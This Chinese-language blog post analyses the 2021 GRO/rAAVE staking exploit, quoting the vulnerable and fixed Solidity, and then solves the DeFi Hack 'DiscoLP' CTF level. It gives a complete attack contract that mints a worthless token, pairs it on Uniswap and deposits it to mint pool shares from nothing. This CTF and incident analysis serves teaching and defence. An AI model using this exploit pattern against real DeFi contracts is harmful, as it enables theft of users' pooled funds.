Defi hack挑战-DiscoLP及真实案例分析

整片文章详细的分析了defi hack的关卡,及其相关的defi攻击的真实案例!

Defi hack挑战

DeFi 代表去中心化金融,旨在取代银行、对冲基金、保险公司等传统金融机构。通过消除第三方,DeFi 允许以真正去中心化的方式管理资金,最大限度地减少腐败并促进真正的所有权。话虽如此,DeFi 不仅对合法用户而且对恶意行为者都是透明的。这就是为什么智能合约安全问题变得前所未有的严重。不同 DeFi 协议的可组合性增加了智能合约交互的复杂性。确保智能合约安全是一项非常艰巨的任务,过去发生的大量 DeFi 协议黑客攻击证明了这一点。 DeFi Hack 挑战是基于 DeFi 协议的真实漏洞创造的类似CTF的演练挑战。 这次我们讲解其中的一个关卡挑战-DiscoLP

rAAVE Farming 合约攻击分析

在开始正式讲关卡挑战前,我们先讲一个真实发生的defi攻击案例 ,先讲解2021 年 2 月 8 日下午 6:17 UTC 在其中一个rAAVE 质押池 ( stkGRO/rAAVE ) 中发生的 GRO/rAAVE 漏洞利用分析,对后面对挑战的理解会更深刻。

A. 发生了什么

攻击者创建了一个名为rAXZZ的假 ERC-20 代币,并与它相关联的Uniswap V2 流动性池将其与 GRO (GRO/rAXZZ) 匹配。

1. 质押

然后,攻击者使用合约的单一资产存款功能,将 19,900,000,000,000 rAXZZ 存入 stkGRO/rAAVE 合约。根据 Uniswap 池的要求,此功能使用流动性提供者交换一半的资金,然后使用两种资产提供所需的流动性。

由于 stkGRO/rAAVE 合约中的一个漏洞——它没有正确检查 LP 资产和存入的代币之间的匹配——允许接受存款。它被转发到 Uniswap V2 路由器,该路由器通过假 LP 路由(按照 stkGRO/rAAVE 的指示)交换和随后的流动性供应。

获得的 5056 股 GRO/rAXZZ LP 股票随后被 stkGRO/rAAVE 合约误认为是合法的 GRO/rAAVE LP 股票。然后它接受了它们以换取 14513 股新铸造的 stkGRO/rAAVE 股票。

此操作发生在该交易中: https://etherscan.io/tx/0x47cc8504f870020d5e5a8a5f0e2c242cc790b7fbc0dffb183e2f20a668fc076e

请注意,stkGRO/rAAVE 股票的价格由储备金额(GRO/rAAVE LP 股票)除以 stkGRO/rAAVE 供应量得出。因此,存款后供应增加,但储备保持不变。基本上,攻击者能够凭空铸造 14513 stkGRO/rAAVE。 这就是漏洞利用原理,剩下的就是操作。

2.提款

一旦持有 14513 stkGRO/rAAVE 股份,攻击者便使用简单的提款功能从 stkGRO/rAAVE 合约中提取 5056 GRO/rAAVE LP 股份,返回给质押者 GRO/rAAVE LP 股份并销毁提供的 stkGRO/ rAAVE 股票。

此操作发生在该交易中: https://etherscan.io/tx/0xa3d64cd6541657c86331c8b1b037ad184216610d3653af9b7909601981ec32c1

3. 流动性的去除

一旦拥有 GRO/rAAVE LP 股票,他就开始去除流动性,获得 27517 GRO 和 1218 rAAVE。

此操作发生在该交易中: https://etherscan.io/tx/0x2152214a6be27a904af5a25e77fdca92ae60c6a9d7d298a41f88558649a41a23

4. Uniswap 上的 GRO/rAAVE 转储

接下来,攻击者在 Uniswap 上分别用 27517 GRO 和 1218 rAAVE 换取 597 和 204 ETH。

此操作发生在这些交易中: https://etherscan.io/tx/0xffef18b38096c96c1f6be784ea0ebb07964137858e38f3d65858a79e6a96797f https://etherscan.io/tx/0xce020fabb3c56c75b23ac7d53d5259959ba12b7caaed959ba12b7caed9ffed9

5.分配给其他账户

然后资金被分配到并保留以下 4 个钱包:

发送 231 ETH to 0x11a68fbef437b0be0961de3ef879a56c8c2a86ea 发送 147 ETH to 0x8b662fb502133f592a969bf308a255a8f2e99642 发送 274 ETH to 0x5cc6ba1e6e9391bd00997a820cb8c8b0d5191aed 发送 149 ETH to 0x05d32895a283ff696104b7a0dfc63c5fe2ac8089

以上操作的交易: https://etherscan.io/tx/0x0a6b5c92abcfbf07fb31d9e6c402b82c8756a80823c309d063a9a735d3f817eb https://etherscan.io/tx/0xac4407bf2fa52003960449cecc92d3a9e0175f40d9bf11b9d808c3282f2ec2b4 https://etherscan.io/tx/0x0391fa91f18873566a31f5a6dd73b6ae5c4aa48146b64edf615eaacf0fece735 https://etherscan.io/tx/0xb80894d79ba238b1867ea17beb821f58084d42b52b7db24f04ca9cf1ae9b680c

B. 漏洞详情

下面是stkGRO/rAAVE的单一资产充值代码。它需要 4 个参数:

a GRO/rAAVE Uniswap 矿池地址 b.要存入的代币地址 c.存入的金额 d.以及可接受的最低 LP 股份数量作为回报 该函数通过 Uniswap 路由器执行交换和流动性提供。该漏洞的存在是因为没有检查或限制将存放的代币地址与构成 GRO/rAAVE 对的两个代币之一联系起来。

下面可以看到带有漏洞的原始代码和修复代码 漏洞原始代码:

function _joinPool(address _pair, address _token, uint256 _amount, uint256 _minShares) internal returns (uint256 _shares)
{
    if (_amount == 0) return 0;
    address _router = $.UniswapV2_ROUTER02;
    address _token0 = Pair(_pair).token0();
    address _token1 = Pair(_pair).token1();
    address _otherToken = _token == _token0 ? _token1 : _token0;
    (uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
    uint256 _swapAmount = _calcSwapOutputFromInput(_token == _token0 ? _reserve0 : _reserve1, _amount);
    if (_swapAmount == 0) _swapAmount = _amount / 2;
    uint256 _leftAmount = _amount.sub(_swapAmount);
    Transfers._approveFunds(_token, _router, _amount);
    address[] memory _path = new address[](2);
    _path[0] = _token;
    _path[1] = _otherToken;
    uint256 _otherAmount = Router02(_router).swapExactTokensForTokens(_swapAmount, 1, _path, address(this), uint256(-1))[1];
    Transfers._approveFunds(_otherToken, _router, _otherAmount);
    (,,_shares) = Router02(_router).addLiquidity(_token, _otherToken, _leftAmount, _otherAmount, 1, 1, address(this), uint256(-1));
    require(_shares >= _minShares, "high slippage");
    return _shares;
}

修复代码,修复在第 8 行:

function _joinPool(address _pair, address _token, uint256 _amount, uint256 _minShares) internal returns (uint256 _shares)
{
    if (_amount == 0) return 0;
    address _router = $.UniswapV2_ROUTER02;
    address _token0 = Pair(_pair).token0();
    address _token1 = Pair(_pair).token1();
    require(_token == _token0 || _token == _token1, "Invalid token");
    address _otherToken = _token == _token0 ? _token1 : _token0;  //这是修复的代码
    (uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
    uint256 _swapAmount = _calcSwapOutputFromInput(_token == _token0 ? _reserve0 : _reserve1, _amount);
    if (_swapAmount == 0) _swapAmount = _amount / 2;
    uint256 _leftAmount = _amount.sub(_swapAmount);
    Transfers._approveFunds(_token, _router, _amount);
    address[] memory _path = new address[](2);
    _path[0] = _token;
    _path[1] = _otherToken;
    uint256 _otherAmount = Router02(_router).swapExactTokensForTokens(_swapAmount, 1, _path, address(this), uint256(-1))[1];
    Transfers._approveFunds(_otherToken, _router, _otherAmount);
    (,,_shares) = Router02(_router).addLiquidity(_token, _otherToken, _leftAmount, _otherAmount, 1, 1, address(this), uint256(-1));
    require(_shares >= _minShares, "high slippage");
    return _shares;
}

这个简单的错误导致了漏洞利用的大门,该漏洞利用可以并且将会使用假令牌和 LP 来完成攻击。

C. 攻击缓解

一旦团队意识到漏洞利用,缓解包括以下两个方面: a.从质押合约中移除剩余的 rAAVE 资金流动性 b.通过 GrowthDeFi 和 rAAVE 沟通渠道呼吁社区采取行动

通过对这件攻击事件的分析,相信对这个漏洞有了一定了解,接着,我们开始正式的关卡

DiscoLP挑战

挑战

挑战地址:https://www.defihack.xyz/level/0x3d527CF313c00dc3886BF00960B80dfff5C04BD8 挑战简介: DiscoLP是一种全新的流动性挖矿协议!您可以通过存入一些 JIMBO 或 JAMBO 代币来参与。所有流动性都将提供给 JIMBO-JAMBO Uniswap 对。通过向我们提供流动性,您将获得 DISCO 代币作为回报! 挑战:你有 1 个 JIMBO 和 1 个 JAMBO,你能得到至少 100 个 DISCO 代币吗?

挑战代码:

pragma solidity >=0.6.5;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Babylonian.sol";

contract DiscoLP is ERC20, Ownable, ReentrancyGuard
{
  using SafeERC20 for IERC20;

  address public immutable reserveToken;

  constructor (string memory _name, string memory _symbol, uint8 _decimals, address _reserveToken)
    ERC20(_name, _symbol) public
  {
    _setupDecimals(_decimals);
    assert(_reserveToken != address(0));
    reserveToken = _reserveToken;
    _mint(address(this), 100000 * 10 ** 18); // some inital supply
  }

  function calcCostFromShares(uint256 _shares) public view returns (uint256 _cost)
  {
    return _shares.mul(totalReserve()).div(totalSupply());
  }

  function totalReserve() public view returns (uint256 _totalReserve)
  {
    return IERC20(reserveToken).balanceOf(address(this));
  }

  // accepts only JIMBO or JAMBO tokens
  function depositToken(address _token, uint256 _amount, uint256 _minShares) external nonReentrant
  {
    address _from = msg.sender;
    uint256 _minCost = calcCostFromShares(_minShares);
    if (_amount != 0) {
      IERC20(_token).safeTransferFrom(_from, address(this), _amount);
    }
    uint256 _cost = UniswapV2LiquidityPoolAbstraction._joinPool(reserveToken, _token, _amount, _minCost);
    uint256 _shares = _cost.mul(totalSupply()).div(totalReserve().sub(_cost));
    _mint(_from, _shares);
  }
}

library UniswapV2LiquidityPoolAbstraction
{
  using SafeMath for uint256;
  using SafeERC20 for IERC20;

  function _joinPool(address _pair, address _token, uint256 _amount, uint256 _minShares) internal returns (uint256 _shares)
  {
    if (_amount == 0) return 0;
    address _router = $.UniswapV2_ROUTER02;
    address _token0 = Pair(_pair).token0();
    address _token1 = Pair(_pair).token1();
    address _otherToken = _token == _token0 ? _token1 : _token0;
    (uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
    uint256 _swapAmount = _calcSwapOutputFromInput(_token == _token0 ? _reserve0 : _reserve1, _amount);
    if (_swapAmount == 0) _swapAmount = _amount / 2;
    uint256 _leftAmount = _amount.sub(_swapAmount);
    _approveFunds(_token, _router, _amount);
    address[] memory _path = new address[](2);
    _path[0] = _token;
    _path[1] = _otherToken;
    uint256 _otherAmount = Router02(_router).swapExactTokensForTokens(_swapAmount, 1, _path, address(this), uint256(-1))[1];
    _approveFunds(_otherToken, _router, _otherAmount);
    (,,_shares) = Router02(_router).addLiquidity(_token, _otherToken, _leftAmount, _otherAmount, 1, 1, address(this), uint256(-1));
    require(_shares >= _minShares, "high slippage");
    return _shares;
  }

  function _calcSwapOutputFromInput(uint256 _reserveAmount, uint256 _inputAmount) private pure returns (uint256)
  {
    return Babylonian.sqrt(_reserveAmount.mul(_inputAmount.mul(3988000).add(_reserveAmount.mul(3988009)))).sub(_reserveAmount.mul(1997)) / 1994;
  }

  function _approveFunds(address _token, address _to, uint256 _amount) internal
  {
    uint256 _allowance = IERC20(_token).allowance(address(this), _to);
    if (_allowance > _amount) {
      IERC20(_token).safeDecreaseAllowance(_to, _allowance - _amount);
    }
    else
    if (_allowance < _amount) {
      IERC20(_token).safeIncreaseAllowance(_to, _amount - _allowance);
    }
  }
}

library $
{
  address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
  address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}

interface Router01
{
  function WETH() external pure returns (address _token);
  function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
  function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
  function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
  function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
  function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}

interface Router02 is Router01
{
}

interface PoolToken is IERC20
{
}

interface Pair is PoolToken
{
  function token0() external view returns (address _token0);
  function token1() external view returns (address _token1);
  function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
  function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
  function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
  function mint(address _to) external returns (uint256 _liquidity);
  function sync() external;
}

大家仔细看完代码就会发现这一挑战和上面的攻击事件类似。

挑战分析:

Uniswap 的设计方式是必须以相同的比例存入一对代币,但此功能允许抵押一个代币,将一半的价值换成第二个代币。作为回报,将被给予LP 股份。 可能看完上面的事件分析,你已经发现了合约的漏洞点,这个合约的 depositToken()函数并不局限于 JIMBO 或 JAMBO 代币,而是接受了任何代币,并没有验证_token参数,这意味着允许质押任何代币,以至于凭空铸造 DISCO。虽然原因很简单,但攻击执行需要多个步骤。

1.首先,攻击者必须创建一个任意令牌:

Token evil = new Token("Evil Token", "EVIL"); // Token is ERC20

2. 在攻击者对关卡实例和 Uniswap 路由器进行无限制的 EVIL 支出之后:

evil.approve(instance, 2**256 - 1); evil.approve(_router, 2**256 - 1);

3.整个攻击的目标是在使用 JIMBO 和攻击者的 EVIL 代币代替 JAMBO 为 Uniswap 对提供流动性后,获得一些假的 LP 股票。攻击者还将 JIMBO 支付到 Uniswap 路由器,以便可以在depositToken()函数中的交换成功:

IERC20(tokenA).approve(_router, 2**256 - 1);

4.之后创建 JIMBO-EVIL Uniswap 对:

address pair = IUniswapV2Factory(_factory).createPair(address(evil), address(tokenA));

5. 在将我们拥有的单个 JIMBO 代币转移到攻击者合约后,我们向创建的池中添加流动性:

(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
  address(evil),
  address(tokenA),
  100000000000 * 10 ** 18, // EVIL liquidity
  1 * 10 ** 18,            // 1 JIMBO
  1, 1, 
  address(this), // address to send LP shares (attacker contract)
  2**256 - 1);
6.最后我们将假的 LP 股票存入 DiscoLP 合约:

DiscoLP(instance).depositToken(address(evil), amount, 1);

交换零价值的 EVIL 代币后,我们将获得大量 DiscoLP 股份!

完整的攻击代码:

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IUniswapV2Factory {
  event PairCreated(address indexed token0, address indexed token1, address pair, uint);

  function getPair(address tokenA, address tokenB) external view returns (address pair);
  function allPairs(uint) external view returns (address pair);
  function allPairsLength() external view returns (uint);

  function feeTo() external view returns (address);
  function feeToSetter() external view returns (address);

  function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function WETH() external pure returns (address _token);
    function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
    function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
    function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
    function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
    function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}

interface Pair
{
    function token0() external view returns (address _token0);
    function token1() external view returns (address _token1);
    function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
    function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
    function mint(address _to) external returns (uint256 _liquidity);
    function sync() external;
}

interface DiscoLP is IERC20 {
    function depositToken(address _token, uint256 _amount, uint256 _minShares) external;
    function calcCostFromShares(uint256 _shares) external view returns (uint256);
    function totalReserve() external view returns (uint256);
}

library $
{
    address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
    address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}

contract Token is ERC20 {
    constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) public {
        _mint(msg.sender, 2**256 - 1);
    }
}

contract Attack {
    uint256 public balance;
    function attack (address instance, uint256 amount, address tokenA) public {
        address _factory = $.UniswapV2_FACTORY;
        address _router = $.UniswapV2_ROUTER02;
        Token evil = new Token("Evil Token", "EVIL");
        evil.approve(instance, 2**256 - 1);
        evil.approve(_router, 2**256 - 1);
        IERC20(tokenA).approve(_router, 2**256 - 1);
        address pair = IUniswapV2Factory(_factory).createPair(address(evil), address(tokenA));
        (uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
          address(evil),
          address(tokenA),
          100000000000 * 10 ** 18,
          1 * 10 ** 18,
          1, 1, address(this), 2**256 - 1);
        DiscoLP(instance).depositToken(address(evil), amount, 1);
        balance = DiscoLP(instance).balanceOf(address(this));
    }
}

/**
 * step 1: get reserveToken() on instance
 * step 2: get token0 on Pair(reserveToken)
 * step 3: deploy attack contract
 * step 4: token0.transfer(attack contract, 1 * 10 ** 18)
 * step 5: attack(instance, 50000 * 10 ** 18, token0)
 */

结尾

到这里,完整的分析就结束了,希望大家能够有所收获!

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Polaris_tow
Polaris_tow
0x215B...F2F1
欢迎一起学习哦,web3世界的守护者! 交流群:741631068 可以加v:zz15842945138 twitter:https://twitter.com/Polaris_tow